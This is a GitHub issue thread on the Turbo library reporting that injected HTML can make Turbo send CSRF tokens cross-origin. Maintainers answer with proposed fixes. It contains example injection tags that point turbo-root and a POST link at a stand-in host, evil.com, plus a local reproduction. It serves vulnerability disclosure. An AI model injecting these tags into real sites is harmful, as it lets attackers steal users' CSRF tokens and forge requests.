Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CSRF Token Exposure #917

Open
tehryanx opened this issue May 1, 2023 · 3 comments
Open

CSRF Token Exposure #917

tehryanx opened this issue May 1, 2023 · 3 comments

Comments

@tehryanx
Copy link

tehryanx commented May 1, 2023

Under some circumstances it's possible to trick turbo into sending a csrf token to a cross-origin location. This requires a malicious actor to be able to inject two HTML tags into a turbo enabled page, and have a targets browser load that page.

The attacker must first load a turbo-root meta tag into the documents header. This must be formed like:
<meta name="turbo-root" content="///evil.com">

Then, in the body of the page, the attacker must inject an anchor tag that sends a post request like:
<a href="///evil.com" data-turbo-method="POST">click me!</a>

Clicking this link will cause turbo to attach an x-csrf-token header to the request and send it to evil.com.

@tehryanx
Copy link
Author

tehryanx commented Jul 26, 2023

Hey team. Wanted to follow up here. After further investigation it turns out that the triple /// pattern isn't even necessary. Setting the turbo-root to a cross-origin location, and then posting to it with a link that uses data-turbo-method="post" will leak the token.

This is a security concern because if an attacker can poison the turbo-root and inject a link they can steal the csrf token. Below is a step by step reproduction of this:

FIrst, I set up a local http server using nodes http-server. The --cors option with x-csrf-token will cause the server enable cors with a wildcard origin and accept that header in cross-origin requests.

❯ http-server -p 8000 --cors x-csrf-token
Starting up http-server, serving ./

http-server version: 14.1.1

http-server settings:
CORS: x-csrf-token
Cache: 3600 seconds
Connection Timeout: 120 seconds
Directory Listings: visible
AutoIndex: visible
Serve GZIP Files: false
Serve Brotli Files: false
Default File Extension: none

Available on:
  http://127.0.0.1:8000

Next, I load a turbo enabled page on a different origin. It should have:

<meta name="turbo-root" content="http://127.0.0.1:8000">

in the header, and:

<a href="http://127.0.0.1:8000" data-turbo-method="POST">test</a>

in the body. Clicking the link sends a request to my http server with the csrf-token attached, despite this being a cross origin request.

@seanpdoyle
Copy link
Contributor

Thank you for the detailed error report.

I wonder if we could limit this kind of exposure by rejecting any <meta name="turbo-root"> value that isn't strictly a path.

Ignoring any value with a protocol like http://, https://, smtp://, etc feels straightforward to achieve, but I'm worried that a value like ///evil.com results in off-origin request support.

@afcapel @kevinmcconnell this is serious, and worth investigating further.

@seanpdoyle
Copy link
Contributor

I wonder if #913 might help us address this.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Development

No branches or pull requests

2 participants